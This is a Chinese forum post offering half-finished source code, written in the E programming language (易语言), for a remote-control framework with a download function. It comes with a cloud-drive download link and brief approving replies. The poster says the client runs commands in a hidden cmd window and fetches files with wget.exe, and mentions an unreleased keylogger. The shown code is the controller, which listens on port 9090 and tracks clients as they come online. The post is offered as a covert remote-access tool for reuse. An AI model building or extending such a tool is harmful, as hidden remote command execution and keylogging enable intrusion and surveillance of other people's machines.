半成品带下载功能远程控制框架源码

已注销543261

收到下载指令后客户Duan执行的命令这个cmd 窗口可以隐藏运行，

鉴于,没写过文件管理 和音频 视频 屏幕捕获传送 就没加那些功能

键盘记录写过但是就不发出来了 这个下载功能调用了wget.exe 是个奇葩的新写法。

太大的文件好像下载不了。下载地址：

https://share.weiyun.com/5uw0ANB

  

领航_黑色极致 ()
yc.启动 (9090, &函数, )

子程序名	返回值类型	公开	备 注
函数
参数名	类 型	参考	可空	数组	备 注
地址	整数型

变量名	类 型	静态	数组	备 注
类型	整数型
客户句柄	整数型
句柄	整数型		0
离线句柄	整数型
离线IP	文本型
返回内容	文本型
上线data	文本型
计次	整数型
清理下线	整数型
xt句柄	整数型

类型 ＝ yc.取消息类型 (地址)
如果真 (类型 ＝ 0)
yc.取客户句柄 (地址, 客户句柄)
列表框句柄 ＝ 客户句柄
如果真 (类型 ＝ 1)
yc.取客户句柄 (地址, 离线句柄)
超级列表框1.删除表项 (超级列表框1.查找表项数值 (0, 离线句柄))
如果真 (类型 ＝ -1)
信息框Chen (“ERROR! 不明原因出错软件关闭！”, “ERROR 错误！”)
结束 ()
如果真 (类型 ＝ 2)
yc.取请求文本 (地址, 上线data, 返回内容)
如果真 (返回内容 ＝ “xt”)
yc.取客户句柄 (地址, xt句柄)
yc.发送文本 (xt句柄, “server on”)
' 调试输出 (返回内容)
' 调试输出 (上线data)
如果真 (寻找文本 (返回内容, “@”, , 假) ≠ -1)
插入列表框 (返回内容)

子程序名	返回值类型	公开	备 注
插入列表框
参数名	类 型	参考	可空	数组	备 注
数据	文本型

变量名	类 型	静态	数组	备 注
上线消息数组	文本型		0
索引	整数型

上线消息数组 ＝ 分割文本 (数据, “A”, )
' 调试输出 (取数组成员数 (上线消息数组))
索引 ＝ 超级列表框1.插入表项 (, , , , , )
超级列表框1.置表项数值 (索引, 列表框句柄)
超级列表框1.置标题 (索引, 0, 上线消息数组 [1])
超级列表框1.置标题 (索引, 1, 上线消息数组 [2])
超级列表框1.置标题 (索引, 2, 上线消息数组 [3])
超级列表框1.置标题 (索引, 3, 上线消息数组 [4])
超级列表框1.置标题 (索引, 4, 上线消息数组 [5])

子程序名	返回值类型	公开	备 注
_取句柄_被选择

信息框 (超级列表框1.取表项数值 (超级列表框1.现行选中项), 0, , )

子程序名	返回值类型	公开	备 注
_超级列表框1_右键单击表项

弹出菜单 (菜单, , )

子程序名	返回值类型	公开	备 注
_校验在线客户_被选择

变量名	类 型	静态	数组	备 注
i	整数型

' yc.发送文本 (, )
计次循环首 (超级列表框1.取表项数 () － 1, i)
调试输出 (超级列表框1.取表项数值 (i))
计次循环尾 ()

子程序名	返回值类型	公开	备 注
_下载程序_被选择

载入 (窗口1, , 假)

i支持库列表	支持库注释
Exmlrpc	远程服务支持库
iext	扩展界面支持库一
spec	特殊功能支持库

.版本 2<br /> .支持库 Exmlrpc<br /> .支持库 iext<br /> .支持库 spec<br /> <br /> 领航_黑色极致 ()<br /> <br /> yc.启动 (9090, &函数, )<br /> <br /> <br /> .子程序 函数<br /> .参数 地址, 整数型<br /> .局部变量 类型, 整数型<br /> .局部变量 客户句柄, 整数型<br /> .局部变量 句柄, 整数型, , "0"<br /> .局部变量 离线句柄, 整数型<br /> .局部变量 离线IP, 文本型<br /> .局部变量 返回内容, 文本型<br /> .局部变量 上线data, 文本型<br /> .局部变量 计次, 整数型<br /> .局部变量 清理下线, 整数型<br /> .局部变量 xt句柄, 整数型<br /> <br /> 类型 ＝ yc.取消息类型 (地址)<br /> .如果真 (类型 ＝ 0)<br />     yc.取客户句柄 (地址, 客户句柄)<br />     列表框句柄 ＝ 客户句柄<br /> .如果真结束<br /> .如果真 (类型 ＝ 1)<br />     yc.取客户句柄 (地址, 离线句柄)<br />     超级列表框1.删除表项 (超级列表框1.查找表项数值 (0, 离线句柄))<br /> .如果真结束<br /> .如果真 (类型 ＝ -1)<br />     信息框Chen (“ERROR! 不明原因出错软件关闭！”, “ERROR 错误！”)<br />     结束 ()<br /> .如果真结束<br /> .如果真 (类型 ＝ 2)<br />     yc.取请求文本 (地址, 上线data, 返回内容)<br />     .如果真 (返回内容 ＝ “xt”)<br />         yc.取客户句柄 (地址, xt句柄)<br />         yc.发送文本 (xt句柄, “server on”)<br /> <br />     .如果真结束<br />     ' 调试输出 (返回内容)<br />     ' 调试输出 (上线data)<br />     .如果真 (寻找文本 (返回内容, “@”, , 假) ≠ -1)<br />         插入列表框 (返回内容)<br /> <br />     .如果真结束<br /> <br /> <br /> .如果真结束<br /> <br /> <br /> .子程序 插入列表框<br /> .参数 数据, 文本型<br /> .局部变量 上线消息数组, 文本型, , "0"<br /> .局部变量 索引, 整数型<br /> <br /> 上线消息数组 ＝ 分割文本 (数据, “A”, )<br /> ' 调试输出 (取数组成员数 (上线消息数组))<br /> 索引 ＝ 超级列表框1.插入表项 (, , , , , )<br /> 超级列表框1.置表项数值 (索引, 列表框句柄)<br /> 超级列表框1.置标题 (索引, 0, 上线消息数组 [1])<br /> 超级列表框1.置标题 (索引, 1, 上线消息数组 [2])<br /> 超级列表框1.置标题 (索引, 2, 上线消息数组 [3])<br /> 超级列表框1.置标题 (索引, 3, 上线消息数组 [4])<br /> 超级列表框1.置标题 (索引, 4, 上线消息数组 [5])<br /> <br /> .子程序 _取句柄_被选择<br /> <br /> 信息框 (超级列表框1.取表项数值 (超级列表框1.现行选中项), 0, , )<br /> <br /> <br /> .子程序 _超级列表框1_右键单击表项<br /> <br /> 弹出菜单 (菜单, , )<br /> <br /> <br /> .子程序 _校验在线客户_被选择<br /> .局部变量 i, 整数型<br /> <br /> ' yc.发送文本 (, )<br /> .计次循环首 (超级列表框1.取表项数 () － 1, i)<br />     调试输出 (超级列表框1.取表项数值 (i))<br /> <br /> .计次循环尾 ()<br /> <br /> <br /> .子程序 _下载程序_被选择<br /> <br /> 载入 (窗口1, , 假)

悸末轮回

支持楼主开源

吃干饭的锅

感谢分享。

一粒红尘

看界面 就知道是 ""黑"" 客

全村最帅

界面科技感十足

易福娃

加油加油！

一剑磨十年

看起来不错，感谢分享。